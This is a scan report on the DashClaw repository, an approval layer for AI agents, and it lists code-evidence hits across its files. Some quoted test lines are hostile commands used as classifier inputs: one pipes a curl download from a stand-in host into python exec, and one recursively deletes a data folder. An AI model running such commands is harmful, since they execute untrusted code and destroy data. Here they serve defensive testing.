MCP Observatory
29s ago Tracked 47,911 Last 29s ago 24h 2,658
github TypeScript re-analysis due

ucsandman/DashClaw

github

🛡️ The approval and policy layer for AI agents. Intercept risky actions before they run, block them, or approve them remotely.

maintainer
ucsandman
license
MIT
first seen
2026-06-11
last seen
2026-08-22
releases · 30d
61
short id

Drift inferred · capture-to-capture

No drift recorded — single capability capture; advisories appear once its surface changes.

capabilities 2 tools
transport stdio · http verified reported listed in the official MCP registry counts 2 tools · 0 res · 0 prompts permission surface via code analysis

tools

  • dashclaw_status
  • export_dashclaw_evidence
skills & danger signals github-tarball
prompt-surface shipped agent-instruction files + hidden-content / dangerous-code findings — quoted from the analyzed source

analyzed commit 481c747 · analyzer v31 · 2w ago

skills & prompt files 32

danger signals19

code evidence vv5.19.0 · github-tarball
evidence-backed findings quoted directly from the published source artifact — not inferred

code files: 1565

filesystem 149

  • fs (weak) ucsandman-DashClaw-481c747/__tests__/integration/schema-0007-apply.test.js :2 import { readFileSync } from 'node:fs';
  • fs (weak) ucsandman-DashClaw-481c747/__tests__/integration/schema-0069-apply.test.js :2 import { readFileSync } from 'node:fs';
  • fs (weak) ucsandman-DashClaw-481c747/__tests__/integration/schema-0070-apply.test.js :2 import { readFileSync } from 'node:fs';
  • fs (weak) ucsandman-DashClaw-481c747/__tests__/unit/calibration-controller.test.ts :16 import { readFileSync } from 'node:fs';
  • fs (weak) ucsandman-DashClaw-481c747/__tests__/unit/catastrophe-only-pack.test.js :2 import { readFileSync } from 'node:fs';
  • fs (weak) ucsandman-DashClaw-481c747/__tests__/unit/chart-tooltip-cursor.guard.test.js :3 import { readFileSync } from 'node:fs';
  • fs (weak) ucsandman-DashClaw-481c747/__tests__/unit/claude-code-starter-pack.test.js :2 import { readFileSync } from 'node:fs';
  • fs (weak) ucsandman-DashClaw-481c747/__tests__/unit/cli-codex-install.test.js :2 import { mkdtempSync, readFileSync, writeFileSync, existsSync, readdirSync } from 'node:fs';
  • fs (weak) ucsandman-DashClaw-481c747/__tests__/unit/cli-openclaw-install.test.js :2 import { mkdtempSync, writeFileSync, readFileSync, existsSync } from 'node:fs';
  • fs (weak) ucsandman-DashClaw-481c747/__tests__/unit/connect-discoverability.test.js :2 import { readFileSync } from 'node:fs';
  • fs (weak) ucsandman-DashClaw-481c747/__tests__/unit/context-menu-coverage.test.tsx :2 import { readFileSync } from 'node:fs';
  • fs (weak) ucsandman-DashClaw-481c747/__tests__/unit/contracts.load.test.js :2 import { readFile } from 'node:fs/promises';
  • fs (weak) ucsandman-DashClaw-481c747/__tests__/unit/critical-tables-ddl-drift.test.js :18 import { readFileSync } from 'node:fs';
  • fs (weak) ucsandman-DashClaw-481c747/__tests__/unit/dashclaw-governance-skill.test.js :2 import { readFileSync } from 'node:fs';
  • fs (weak) ucsandman-DashClaw-481c747/__tests__/unit/drizzle-timestamp-parity.test.js :20 import { readFileSync, readdirSync } from 'node:fs';
  • fs (weak) ucsandman-DashClaw-481c747/__tests__/unit/first-governed-action.test.jsx :3 import { readFileSync } from 'node:fs';
  • fs (weak) ucsandman-DashClaw-481c747/__tests__/unit/guard-evidence.test.js :393 const c = classifyAct({ kind: 'shell', command: "node -e \"require('fs').rmSync('data', {recursive: true})\"" });
  • fs (weak) ucsandman-DashClaw-481c747/__tests__/unit/hosted/action-counter.test.js :17 const src = await fs.readFile(routePath, 'utf8');
  • fs (weak) ucsandman-DashClaw-481c747/__tests__/unit/idempotency-golden.test.js :12 import { readFileSync } from 'node:fs';
  • fs (weak) ucsandman-DashClaw-481c747/__tests__/unit/multiselect-coverage.test.ts :2 import { readFileSync } from 'node:fs';
  • fs (weak) ucsandman-DashClaw-481c747/__tests__/unit/no-silent-catch.guard.test.js :2 import { readFileSync, readdirSync, statSync } from 'node:fs';
  • fs (weak) ucsandman-DashClaw-481c747/__tests__/unit/oauth-schema.test.js :3 import { readFileSync } from 'node:fs';
  • fs (weak) ucsandman-DashClaw-481c747/__tests__/unit/onboarding-snippets.test.js :25 import { readFileSync } from 'fs';
  • fs (weak) ucsandman-DashClaw-481c747/__tests__/unit/operations-summary-percentile.guard.test.js :2 import { readFileSync } from 'node:fs';
  • fs (weak) ucsandman-DashClaw-481c747/__tests__/unit/package-scripts.test.js :1 import { readFileSync } from 'node:fs';
  • fs (weak) ucsandman-DashClaw-481c747/__tests__/unit/plugins/marketplace.test.js :2 import { readFileSync, existsSync } from 'node:fs';
  • fs (weak) ucsandman-DashClaw-481c747/__tests__/unit/plugins/plugin-parity.test.js :12 import fs from 'node:fs';
  • fs (weak) ucsandman-DashClaw-481c747/__tests__/unit/proof-pack-example-contract.test.js :1 import { readFileSync } from 'node:fs';
  • fs (weak) ucsandman-DashClaw-481c747/__tests__/unit/risk-calibration-golden.test.js :2 import { readFileSync } from 'node:fs';
  • fs (weak) ucsandman-DashClaw-481c747/__tests__/unit/snippet-contracts.test.js :1 import { readFileSync } from 'node:fs';
  • fs (weak) ucsandman-DashClaw-481c747/__tests__/unit/sql-statements.test.js :13 import { readFileSync, readdirSync } from 'node:fs';
  • fs (weak) ucsandman-DashClaw-481c747/__tests__/unit/toolkit-retirement.test.js :2 import { existsSync, readFileSync } from 'node:fs';
  • fs (weak) ucsandman-DashClaw-481c747/__tests__/unit/widget-presence.test.js :5 import fs from 'fs';
  • fs (weak) ucsandman-DashClaw-481c747/app/api/docs/raw/route.ts :1 import { readFileSync } from 'fs';
  • fs ucsandman-DashClaw-481c747/app/api/policies/templates/route.ts :5 import { readFile } from 'node:fs/promises';
  • fs ucsandman-DashClaw-481c747/app/api/prompts/agent-connect/raw/route.ts :1 import { readFileSync } from 'fs';
  • fs ucsandman-DashClaw-481c747/app/api/prompts/sdk-coverage/raw/route.ts :1 import { readFileSync } from 'fs';
  • fs ucsandman-DashClaw-481c747/app/api/prompts/server-setup/raw/route.ts :1 import { readFileSync } from 'fs';
  • fs ucsandman-DashClaw-481c747/app/api/setup/migrate/route.ts :5 import { readFileSync, readdirSync } from 'node:fs';
  • fs ucsandman-DashClaw-481c747/app/guides/platform/page.tsx :1 import { readFileSync } from 'fs';
  • fs ucsandman-DashClaw-481c747/app/lib/doctor/checks/openclawPlugin.mjs :18 import { existsSync, readFileSync } from 'node:fs';
  • fs ucsandman-DashClaw-481c747/app/lib/doctor/fixes/env-writer.mjs :2 import { readFileSync, writeFileSync, copyFileSync, existsSync } from 'node:fs';
  • fs ucsandman-DashClaw-481c747/app/lib/doctor/fixes/migrate.mjs :2 import { readdirSync, readFileSync } from 'node:fs';
  • fs ucsandman-DashClaw-481c747/app/lib/guardrails/import-pack.ts :8 import { readFile } from 'node:fs/promises';
  • fs ucsandman-DashClaw-481c747/app/lib/setup/catastrophe-pack.mjs :12 import { readFileSync } from 'node:fs';
  • fs ucsandman-DashClaw-481c747/app/lib/widget/presence.ts :15 import fs from 'fs';
  • fs ucsandman-DashClaw-481c747/cli/bin/dashclaw.js :4 import { readFileSync } from 'node:fs';
  • fs ucsandman-DashClaw-481c747/cli/lib/backfill.js :18 import { existsSync, readFileSync, writeFileSync, renameSync } from 'node:fs';
  • fs ucsandman-DashClaw-481c747/cli/lib/claude/install.js :37 } from 'node:fs';
  • fs ucsandman-DashClaw-481c747/cli/lib/codex/install.js :38 } from 'node:fs';
  • fs ucsandman-DashClaw-481c747/cli/lib/codex/trust.js :23 import { existsSync, readdirSync, readFileSync, writeFileSync } from 'node:fs';
  • fs ucsandman-DashClaw-481c747/cli/lib/config.js :4 import { existsSync, readFileSync, writeFileSync, mkdirSync, unlinkSync } from 'node:fs';
  • fs ucsandman-DashClaw-481c747/cli/lib/local-doctor.js :6 import { existsSync, readFileSync, readdirSync, statSync } from 'node:fs';
  • fs ucsandman-DashClaw-481c747/cli/lib/openclaw/install.js :4 import { existsSync, readFileSync, writeFileSync, copyFileSync, mkdirSync } from 'node:fs';
  • fs ucsandman-DashClaw-481c747/cli/lib/up/db.js :21 import { existsSync, rmSync, writeFileSync } from 'node:fs';
  • fs ucsandman-DashClaw-481c747/cli/lib/up/fetch-app.js :7 import { mkdirSync, existsSync, rmSync } from 'node:fs';
  • fs ucsandman-DashClaw-481c747/cli/lib/up/index.js :17 import { existsSync, readFileSync, writeFileSync } from 'node:fs';
  • fs ucsandman-DashClaw-481c747/cli/lib/up/instance.js :9 import { readFileSync, writeFileSync, mkdirSync } from 'node:fs';
  • fs (weak) ucsandman-DashClaw-481c747/cli/test/backfill.test.js :13 import { mkdtempSync, writeFileSync, readFileSync, existsSync, rmSync } from 'node:fs';
  • fs (weak) ucsandman-DashClaw-481c747/cli/test/claude/install.test.js :8 import fs from 'node:fs';
  • fs (weak) ucsandman-DashClaw-481c747/cli/test/codex/install.test.js :8 import fs from 'node:fs';
  • fs (weak) ucsandman-DashClaw-481c747/cli/test/codex/trust.test.js :8 import fs from 'node:fs';
  • fs (weak) ucsandman-DashClaw-481c747/cli/test/up/fetch-app.test.js :7 import { mkdtempSync, writeFileSync, existsSync } from 'node:fs';
  • fs (weak) ucsandman-DashClaw-481c747/cli/test/up/instance.test.js :7 import { mkdtempSync, writeFileSync } from 'node:fs';
  • fs (weak) ucsandman-DashClaw-481c747/cli/test/up/orchestrator.test.js :8 import { mkdtempSync, readFileSync, writeFileSync } from 'node:fs';
  • fs (weak) ucsandman-DashClaw-481c747/examples/claude-code-review-agent/index.js :4 import { readFile } from 'fs/promises';
  • fs (weak) ucsandman-DashClaw-481c747/examples/governed-chat-harness/tools.js :15 import fs from 'node:fs/promises';
  • fs ucsandman-DashClaw-481c747/mcp-server/lib/storage.js :2 import { appendFileSync, existsSync, mkdirSync, readFileSync, renameSync, rmSync, statSync, writeFileSync, } from "node:fs";
  • fs (weak) ucsandman-DashClaw-481c747/mcp-server/scripts/check-route-drift.mjs :2 import { readFileSync } from "node:fs";
  • fs ucsandman-DashClaw-481c747/mcp-server/src/storage.ts :11 } from "node:fs";
  • fs (weak) ucsandman-DashClaw-481c747/mcp-server/test/helpers.ts :1 import { mkdtempSync } from "node:fs";
  • fs (weak) ucsandman-DashClaw-481c747/mcp-server/test/package.test.ts :3 import { readFileSync } from "node:fs";
  • fs (weak) ucsandman-DashClaw-481c747/mcp-server/test/paths.test.ts :2 import { mkdtempSync } from "node:fs";
  • fs (weak) ucsandman-DashClaw-481c747/mcp-server/test/storage.test.ts :2 import { mkdirSync, readdirSync, readFileSync, writeFileSync, mkdtempSync } from "node:fs";
  • fs ucsandman-DashClaw-481c747/packages/openclaw-plugin/dist/auto-pairing.js :18 import { existsSync, mkdirSync, writeFileSync } from 'node:fs';
  • fs ucsandman-DashClaw-481c747/packages/openclaw-plugin/src/auto-pairing.ts :19 import { existsSync, mkdirSync, writeFileSync } from 'node:fs';
  • fs (weak) ucsandman-DashClaw-481c747/scripts/_load-env.mjs :1 import { readFileSync, existsSync } from 'fs';
  • fs (weak) ucsandman-DashClaw-481c747/scripts/add-calibration-vector.mjs :15 import fs from 'node:fs';
  • fs (weak) ucsandman-DashClaw-481c747/scripts/auto-migrate.mjs :26 import { readFileSync, readdirSync } from 'node:fs';
  • fs (weak) ucsandman-DashClaw-481c747/scripts/bench-guard-hotpath.mjs :37 import { readFileSync } from 'node:fs';
  • fs (weak) ucsandman-DashClaw-481c747/scripts/bootstrap-agent.mjs :21 import { readFileSync, existsSync, readdirSync, statSync } from 'fs';
  • fs (weak) ucsandman-DashClaw-481c747/scripts/build-desktop-plugin.mjs :16 import { mkdirSync, rmSync, cpSync, writeFileSync, readFileSync } from 'node:fs';
  • fs (weak) ucsandman-DashClaw-481c747/scripts/check-api-inventory-diff.mjs :3 import fs from 'node:fs/promises';
  • fs (weak) ucsandman-DashClaw-481c747/scripts/check-doc-counts.mjs :31 import { readFileSync } from 'node:fs';
  • fs (weak) ucsandman-DashClaw-481c747/scripts/check-openapi-diff.mjs :3 import fs from 'node:fs/promises';
  • fs (weak) ucsandman-DashClaw-481c747/scripts/check-platform-guide-drift.mjs :21 import { readFileSync } from 'node:fs';
  • fs (weak) ucsandman-DashClaw-481c747/scripts/check-production-ready.mjs :12 import { writeFileSync } from 'node:fs';
  • fs (weak) ucsandman-DashClaw-481c747/scripts/check-readme-lead.mjs :17 import { readFileSync } from 'node:fs';
  • fs (weak) ucsandman-DashClaw-481c747/scripts/check-route-sql-guard.mjs :3 import fs from 'node:fs/promises';
  • fs (weak) ucsandman-DashClaw-481c747/scripts/check-screencast-backfilled.mjs :19 import { readFileSync } from 'node:fs';
  • fs (weak) ucsandman-DashClaw-481c747/scripts/check-scripts-syntax.mjs :1 import { readFileSync, readdirSync, statSync } from 'node:fs';
  • fs (weak) ucsandman-DashClaw-481c747/scripts/check-sdk-cross-integration.mjs :3 import fs from 'node:fs/promises';
  • fs (weak) ucsandman-DashClaw-481c747/scripts/check-surface-budget.mjs :24 import { readFileSync, readdirSync } from 'node:fs';
  • fs (weak) ucsandman-DashClaw-481c747/scripts/check-version-hardcodes.mjs :29 import { readFileSync, readdirSync, statSync } from 'node:fs';
  • fs (weak) ucsandman-DashClaw-481c747/scripts/check-version-sync.mjs :20 import { readFileSync } from 'node:fs';
  • fs (weak) ucsandman-DashClaw-481c747/scripts/cleanup-actions.mjs :15 import { readFileSync, existsSync } from 'fs';
  • fs (weak) ucsandman-DashClaw-481c747/scripts/codemod-tokens.mjs :15 import { readFileSync, writeFileSync } from 'node:fs';
  • fs (weak) ucsandman-DashClaw-481c747/scripts/count-sdk-methods.mjs :20 import { readFileSync } from 'node:fs';
  • fs (weak) ucsandman-DashClaw-481c747/scripts/cross-org-smoke.mjs :25 import { readFileSync } from 'node:fs';
  • fs (weak) ucsandman-DashClaw-481c747/scripts/diagnose-hooks.mjs :25 import { readFileSync, existsSync, writeFileSync, statSync } from 'node:fs';
  • fs (weak) ucsandman-DashClaw-481c747/scripts/doctor.mjs :14 import { existsSync, readFileSync } from 'node:fs';
  • fs (weak) ucsandman-DashClaw-481c747/scripts/drills/fresh-linux.mjs :79 API_KEY=$(node -e "try { console.log(JSON.parse(require('fs').readFileSync(require('os').homedir() + '/.dashclaw/instance.json', 'utf8')).apiKey || '') } catch (e) { console.log('') }")
  • fs (weak) ucsandman-DashClaw-481c747/scripts/drills/fresh-windows.mjs :24 import { existsSync, mkdirSync, copyFileSync, writeFileSync, readFileSync, rmSync } from 'node:fs';
  • fs (weak) ucsandman-DashClaw-481c747/scripts/emergency-reset.mjs :2 import fs from 'node:fs';
  • fs (weak) ucsandman-DashClaw-481c747/scripts/fuzz-api.mjs :37 import { existsSync, mkdirSync, readFileSync } from 'node:fs';
  • fs (weak) ucsandman-DashClaw-481c747/scripts/generate-api-inventory.mjs :3 import fs from 'node:fs/promises';
  • fs (weak) ucsandman-DashClaw-481c747/scripts/generate-openapi.mjs :3 import fs from 'node:fs/promises';
  • fs (weak) ucsandman-DashClaw-481c747/scripts/generate-route-sql-baseline.mjs :3 import fs from 'node:fs/promises';
  • fs (weak) ucsandman-DashClaw-481c747/scripts/guard-load.mjs :37 import { readFileSync, writeFileSync } from 'node:fs';
  • fs (weak) ucsandman-DashClaw-481c747/scripts/init-self-host-env.mjs :1 import fs from 'node:fs';
  • fs (weak) ucsandman-DashClaw-481c747/scripts/install-hooks.mjs :29 import { readFileSync, writeFileSync, existsSync, mkdirSync, copyFileSync, readdirSync, statSync } from 'node:fs';
  • fs (weak) ucsandman-DashClaw-481c747/scripts/lib/api-route-inventory.mjs :1 import fs from 'node:fs/promises';
  • fs (weak) ucsandman-DashClaw-481c747/scripts/lib/classifiers.mjs :7 import { readFileSync } from 'fs';
  • fs (weak) ucsandman-DashClaw-481c747/scripts/lib/contracts/check-api-surface.mjs :1 import fs from 'node:fs/promises';
  • fs (weak) ucsandman-DashClaw-481c747/scripts/lib/contracts/check-sdk-surface.mjs :1 import fs from 'node:fs/promises';
  • fs (weak) ucsandman-DashClaw-481c747/scripts/lib/contracts/check-setup-env-prerequisites.mjs :1 import { readFile } from 'node:fs/promises';
  • fs (weak) ucsandman-DashClaw-481c747/scripts/lib/contracts/check-setup-prerequisites.mjs :1 import { readFile } from 'node:fs/promises';
  • fs (weak) ucsandman-DashClaw-481c747/scripts/lib/contracts/load-contracts.mjs :1 import fs from 'node:fs/promises';
  • fs (weak) ucsandman-DashClaw-481c747/scripts/lib/discovery.mjs :7 import { readdirSync, statSync } from 'fs';
  • fs (weak) ucsandman-DashClaw-481c747/scripts/lib/docs-validator.mjs :1 import fs from 'node:fs/promises';
  • fs (weak) ucsandman-DashClaw-481c747/scripts/lib/extractors.mjs :9 import { readFileSync } from 'fs';
  • fs (weak) ucsandman-DashClaw-481c747/scripts/lib/route-sql-guard.mjs :1 import fs from 'node:fs/promises';
  • fs (weak) ucsandman-DashClaw-481c747/scripts/live-canary.mjs :33 import { appendFileSync } from 'node:fs';
  • fs (weak) ucsandman-DashClaw-481c747/scripts/living-merge/install.ts :21 import { readFileSync, writeFileSync, existsSync, mkdirSync } from 'node:fs';
  • fs (weak) ucsandman-DashClaw-481c747/scripts/living-merge/overlap-signal.ts :18 import { mkdirSync, writeFileSync, readFileSync, readdirSync, rmSync } from 'node:fs';
  • fs (weak) ucsandman-DashClaw-481c747/scripts/living-merge/prepare.mjs :23 import { existsSync } from 'node:fs';
  • fs (weak) ucsandman-DashClaw-481c747/scripts/living-merge/selftest-merge.ts :21 import { writeFileSync, readFileSync } from 'node:fs';
  • fs (weak) ucsandman-DashClaw-481c747/scripts/living-merge/selftest-overlap.ts :17 import { mkdirSync, writeFileSync, rmSync, existsSync, appendFileSync } from 'node:fs';
  • fs (weak) ucsandman-DashClaw-481c747/scripts/mine-calibration-candidates.mjs :20 import fs from 'node:fs';
  • fs (weak) ucsandman-DashClaw-481c747/scripts/policy-smoke.mjs :22 import { readFileSync } from 'node:fs';
  • fs (weak) ucsandman-DashClaw-481c747/scripts/refresh-bundles.mjs :42 } from 'node:fs';
  • fs (weak) ucsandman-DashClaw-481c747/scripts/regen-platform-guide-examples.mjs :19 import { readFileSync, writeFileSync } from 'node:fs';
  • fs (weak) ucsandman-DashClaw-481c747/scripts/register-identity.mjs :15 import { readFileSync } from 'node:fs';
  • fs (weak) ucsandman-DashClaw-481c747/scripts/release-mcp-server.mjs :2 import fs from 'fs';
  • fs (weak) ucsandman-DashClaw-481c747/scripts/release-sdks.mjs :2 import fs from 'fs';
  • fs (weak) ucsandman-DashClaw-481c747/scripts/repair-stale-running-actions.mjs :20 import { readFileSync, existsSync } from 'fs';
  • fs (weak) ucsandman-DashClaw-481c747/scripts/report-action.mjs :17 import { readFileSync, existsSync } from 'fs';
  • fs (weak) ucsandman-DashClaw-481c747/scripts/report-tokens.mjs :14 import { readFileSync, existsSync } from 'fs';
  • fs (weak) ucsandman-DashClaw-481c747/scripts/run-python-unittest.mjs :3 import fs from 'node:fs';
  • fs (weak) ucsandman-DashClaw-481c747/scripts/run-sdk-live-python.mjs :12 import fs from 'node:fs';
  • fs (weak) ucsandman-DashClaw-481c747/scripts/security-scan.js :10 const fs = require('fs');
  • fs (weak) ucsandman-DashClaw-481c747/scripts/seed-claude-code-starter.mjs :12 import { readFileSync } from 'node:fs';
  • fs (weak) ucsandman-DashClaw-481c747/scripts/set-version.mjs :14 import { readFileSync, writeFileSync } from 'node:fs';
  • fs (weak) ucsandman-DashClaw-481c747/scripts/setup.mjs :18 import fs from 'node:fs';
  • fs (weak) ucsandman-DashClaw-481c747/scripts/startup-smoke.mjs :4 import { existsSync, readFileSync } from 'node:fs';
  • fs (weak) ucsandman-DashClaw-481c747/scripts/telegram-setup-wizard.mjs :21 import { writeFile, readFile, access, constants } from 'node:fs/promises';
  • fs (weak) ucsandman-DashClaw-481c747/scripts/test-full-api.mjs :15 import { readFileSync } from 'fs';
  • fs (weak) ucsandman-DashClaw-481c747/scripts/upload-skill.mjs :14 import { readFileSync } from 'node:fs';
  • fs (weak) ucsandman-DashClaw-481c747/scripts/validate-docs.mjs :3 import fs from "node:fs/promises";

shell / exec 65

  • shell (weak) ucsandman-DashClaw-481c747/__tests__/unit/calibration-mining.test.js :219 new RegExp(`^${pattern.split('%').map((p) => p.replace(/[.*+?^${}()|[\]\\]/g, '\\$&')).join('.*')}$`).test(s);
  • shell (weak) ucsandman-DashClaw-481c747/__tests__/unit/chart-tooltip-cursor.guard.test.js :2 import { execSync } from 'node:child_process';
  • shell (weak) ucsandman-DashClaw-481c747/__tests__/unit/cli-codex-install.test.js :3 import { execFileSync } from 'node:child_process';
  • shell (weak) ucsandman-DashClaw-481c747/__tests__/unit/cli-openclaw-install.test.js :5 import { spawnSync } from 'node:child_process';
  • shell (weak) ucsandman-DashClaw-481c747/__tests__/unit/guard-evidence.test.js :63 command: 'curl -s https://example.com/x.py | python -c "import sys; exec(sys.stdin.read())"',
  • shell ucsandman-DashClaw-481c747/app/lib/calibration-mining.js :354 const shellQuote = (s) => `"${String(s).replace(/(["\\$`])/g, '\\$1')}"`;
  • shell ucsandman-DashClaw-481c747/app/lib/globToRegex.ts :4 * Prevents ReDoS from user/admin-supplied patterns like `(a+)+$`.
  • shell ucsandman-DashClaw-481c747/app/lib/guard/evidence.ts :437 // (`exec(`/`eval(`) keeps the remote_exec grade — all of those stay 70.
  • shell ucsandman-DashClaw-481c747/app/lib/plain-language/bash.ts :79 * Expressed as its complement so the test is exact: `$` in a JS regex also
  • shell ucsandman-DashClaw-481c747/app/lib/selfHost.ts :7 * Ported from Elpolini's fork (elpolini/DashClaw commit dbf5463) and
  • shell ucsandman-DashClaw-481c747/cli/bin/dashclaw.js :3 import { execFileSync } from 'child_process';
  • shell ucsandman-DashClaw-481c747/cli/lib/claude/install.js :26 import { spawnSync } from 'node:child_process';
  • shell ucsandman-DashClaw-481c747/cli/lib/codex/trust.js :22 import { spawn, spawnSync } from 'node:child_process';
  • shell ucsandman-DashClaw-481c747/cli/lib/local-doctor.js :9 import { execFile } from 'node:child_process';
  • shell ucsandman-DashClaw-481c747/cli/lib/openclaw/install.js :3 import { spawn } from 'node:child_process';
  • shell ucsandman-DashClaw-481c747/cli/lib/up/db.js :22 import { execFileSync, spawnSync } from 'node:child_process';
  • shell ucsandman-DashClaw-481c747/cli/lib/up/index.js :15 import { spawn, spawnSync } from 'node:child_process';
  • shell ucsandman-DashClaw-481c747/cli/lib/up/run.js :5 import { spawn, spawnSync } from 'node:child_process';
  • shell (weak) ucsandman-DashClaw-481c747/cli/test/prompt-eof.test.js :11 import { spawn } from 'node:child_process';
  • shell ucsandman-DashClaw-481c747/hooks/run_hook.cjs :17 const { spawnSync } = require('node:child_process');
  • shell ucsandman-DashClaw-481c747/mcp-server/lib/service.js :10 * The absorbed provider-execution fork (providers, launch plans, local
  • shell ucsandman-DashClaw-481c747/mcp-server/src/service.ts :13 * The absorbed provider-execution fork (providers, launch plans, local
  • shell (weak) ucsandman-DashClaw-481c747/mcp-server/test/package.test.ts :2 import { execSync } from "node:child_process";
  • shell (weak) ucsandman-DashClaw-481c747/packages/dashclaw-demo/bin/dashclaw-demo.js :3 const { execSync, spawn } = require('node:child_process');
  • shell ucsandman-DashClaw-481c747/plugins/dashclaw/hooks/run_hook.cjs :17 const { spawnSync } = require('node:child_process');
  • shell ucsandman-DashClaw-481c747/public/downloads/dashclaw-claude-code-hooks.zip!/hooks\run_hook.cjs :17 const { spawnSync } = require('node:child_process');
  • shell ucsandman-DashClaw-481c747/public/downloads/dashclaw-governance-plugin.zip!/dashclaw\hooks\run_hook.cjs :17 const { spawnSync } = require('node:child_process');
  • shell (weak) ucsandman-DashClaw-481c747/scripts/_run-with-env.mjs :1 import { execFileSync } from 'child_process';
  • shell (weak) ucsandman-DashClaw-481c747/scripts/add-calibration-vector.mjs :17 import { spawnSync } from 'node:child_process';
  • shell (weak) ucsandman-DashClaw-481c747/scripts/build-desktop-plugin.mjs :17 import { execFileSync } from 'node:child_process';
  • shell (weak) ucsandman-DashClaw-481c747/scripts/check-doc-counts.mjs :32 import { execFileSync } from 'node:child_process';
  • shell (weak) ucsandman-DashClaw-481c747/scripts/check-openapi-diff.mjs :5 import { execSync } from 'node:child_process';
  • shell (weak) ucsandman-DashClaw-481c747/scripts/check-production-ready.mjs :11 import { spawnSync } from 'node:child_process';
  • shell (weak) ucsandman-DashClaw-481c747/scripts/check-surface-budget.mjs :25 import { execFileSync } from 'node:child_process';
  • shell (weak) ucsandman-DashClaw-481c747/scripts/demo-entrypoint.mjs :1 import { spawn } from 'node:child_process';
  • shell (weak) ucsandman-DashClaw-481c747/scripts/drills/fresh-linux.mjs :20 import { spawn, spawnSync } from 'node:child_process';
  • shell (weak) ucsandman-DashClaw-481c747/scripts/drills/fresh-windows.mjs :25 import { spawn } from 'node:child_process';
  • shell (weak) ucsandman-DashClaw-481c747/scripts/emergency-reset.mjs :3 import { execSync } from 'node:child_process';
  • shell (weak) ucsandman-DashClaw-481c747/scripts/fuzz-api.mjs :36 import { spawn } from 'node:child_process';
  • shell (weak) ucsandman-DashClaw-481c747/scripts/lib/docs-validator.mjs :3 import { execFile as execFileCallback } from 'node:child_process';
  • shell (weak) ucsandman-DashClaw-481c747/scripts/lib/run-pre-commit-checks.mjs :1 import { execFileSync } from 'node:child_process';
  • shell (weak) ucsandman-DashClaw-481c747/scripts/lib/startup-smoke.mjs :1 import { spawnSync } from 'node:child_process';
  • shell (weak) ucsandman-DashClaw-481c747/scripts/living-merge/install.ts :20 import { execFileSync } from 'node:child_process';
  • shell (weak) ucsandman-DashClaw-481c747/scripts/living-merge/overlap-signal.ts :17 import { execFileSync } from 'node:child_process';
  • shell (weak) ucsandman-DashClaw-481c747/scripts/living-merge/prepare.mjs :22 import { spawnSync } from 'node:child_process';
  • shell (weak) ucsandman-DashClaw-481c747/scripts/living-merge/rebase-onto-main.ts :16 import { execFileSync, spawnSync } from 'node:child_process';
  • shell (weak) ucsandman-DashClaw-481c747/scripts/living-merge/regenerate-all.mjs :20 import { spawnSync } from 'node:child_process';
  • shell (weak) ucsandman-DashClaw-481c747/scripts/living-merge/selftest-merge.ts :20 import { execFileSync } from 'node:child_process';
  • shell (weak) ucsandman-DashClaw-481c747/scripts/living-merge/selftest-overlap.ts :16 import { execFileSync } from 'node:child_process';
  • shell (weak) ucsandman-DashClaw-481c747/scripts/migrate-api-keys-compat.mjs :3 // Compat migration for api_keys. Ported from Elpolini's fork (elpolini/DashClaw commit dbf5463).
  • shell (weak) ucsandman-DashClaw-481c747/scripts/policy-smoke.mjs :1080 // Parent spawn (orchestration) + composed child leaf, one harness session.
  • shell (weak) ucsandman-DashClaw-481c747/scripts/precommit-lint-typecheck.mjs :10 import { execFileSync } from 'node:child_process';
  • shell (weak) ucsandman-DashClaw-481c747/scripts/refresh-bundles.mjs :45 import { spawnSync } from 'node:child_process';
  • shell (weak) ucsandman-DashClaw-481c747/scripts/regen-platform-guide-examples.mjs :18 import { spawn } from 'node:child_process';
  • shell (weak) ucsandman-DashClaw-481c747/scripts/release-mcp-server.mjs :1 import { execSync, spawnSync } from 'child_process';
  • shell (weak) ucsandman-DashClaw-481c747/scripts/release-prep.mjs :29 import { spawn, spawnSync } from 'node:child_process';
  • shell (weak) ucsandman-DashClaw-481c747/scripts/release-sdks.mjs :1 import { execSync } from 'child_process';
  • shell (weak) ucsandman-DashClaw-481c747/scripts/run-demo.mjs :1 import { spawn, execSync } from 'node:child_process';
  • shell (weak) ucsandman-DashClaw-481c747/scripts/run-python-unittest.mjs :5 import { spawnSync } from 'node:child_process';
  • shell (weak) ucsandman-DashClaw-481c747/scripts/run-sdk-live-python.mjs :14 import { spawnSync } from 'node:child_process';
  • shell (weak) ucsandman-DashClaw-481c747/scripts/security-scan.js :12 const { execSync } = require('child_process');
  • shell (weak) ucsandman-DashClaw-481c747/scripts/setup.mjs :20 import { execFileSync, spawn } from 'node:child_process';
  • shell (weak) ucsandman-DashClaw-481c747/scripts/startup-smoke.mjs :3 import { spawn } from 'node:child_process';
  • shell (weak) ucsandman-DashClaw-481c747/scripts/telegram-setup-wizard.mjs :325 const re = new RegExp(`^${k}=.*$`, 'm');
  • shell ucsandman-DashClaw-481c747/sdk/bin/dashclaw-shim.js :4 import { spawnSync } from 'node:child_process';

network 144

  • net (weak) ucsandman-DashClaw-481c747/__tests__/integration/hosted/end-to-end.test.js :41 const res = await fetch(`${BASE}/api/hosted/workspaces`, {
  • net (weak) ucsandman-DashClaw-481c747/__tests__/unit/app/lib/webhooks.test.ts :27 import { Agent as UndiciAgent } from 'undici';
  • net (weak) ucsandman-DashClaw-481c747/__tests__/unit/capability-invoke.test.js :20 return { ...actual, fetch: (...args) => global.fetch(...args) };
  • net (weak) ucsandman-DashClaw-481c747/__tests__/unit/connect-complete-discord-alert.test.js :47 it('Case 3: env var unset → no fetch (opt-in)', async () => {
  • net (weak) ucsandman-DashClaw-481c747/__tests__/unit/notification-adapters-undici.test.ts :41 // fetch (bypassing the undici import), this catches the call the undici
  • net (weak) ucsandman-DashClaw-481c747/__tests__/unit/validate-keys-urlsafety.test.js :12 * called plain fetch(), which re-resolves DNS at connect time — no
  • net ucsandman-DashClaw-481c747/app/api-keys/page.tsx :46 const res = await fetch('/api/keys');
  • net ucsandman-DashClaw-481c747/app/api/discord/interactions/route.ts :139 await fetch(
  • net ucsandman-DashClaw-481c747/app/api/telegram/webhook/route.ts :27 await fetch(`${TELEGRAM_API_BASE}/bot${token}/answerCallbackQuery`, {
  • net ucsandman-DashClaw-481c747/app/approvals/_components/ContainmentCard.tsx :85 const res = await fetch(`/api/actions/${action.action_id}/artifacts`);
  • net ucsandman-DashClaw-481c747/app/approvals/_components/LivePlansSection.tsx :44 const res = await fetch(`/api/plans/${planId}`, {
  • net ucsandman-DashClaw-481c747/app/approvals/_components/PlanReviewCard.tsx :54 const res = await fetch(`/api/plans/${plan.plan_id}`, {
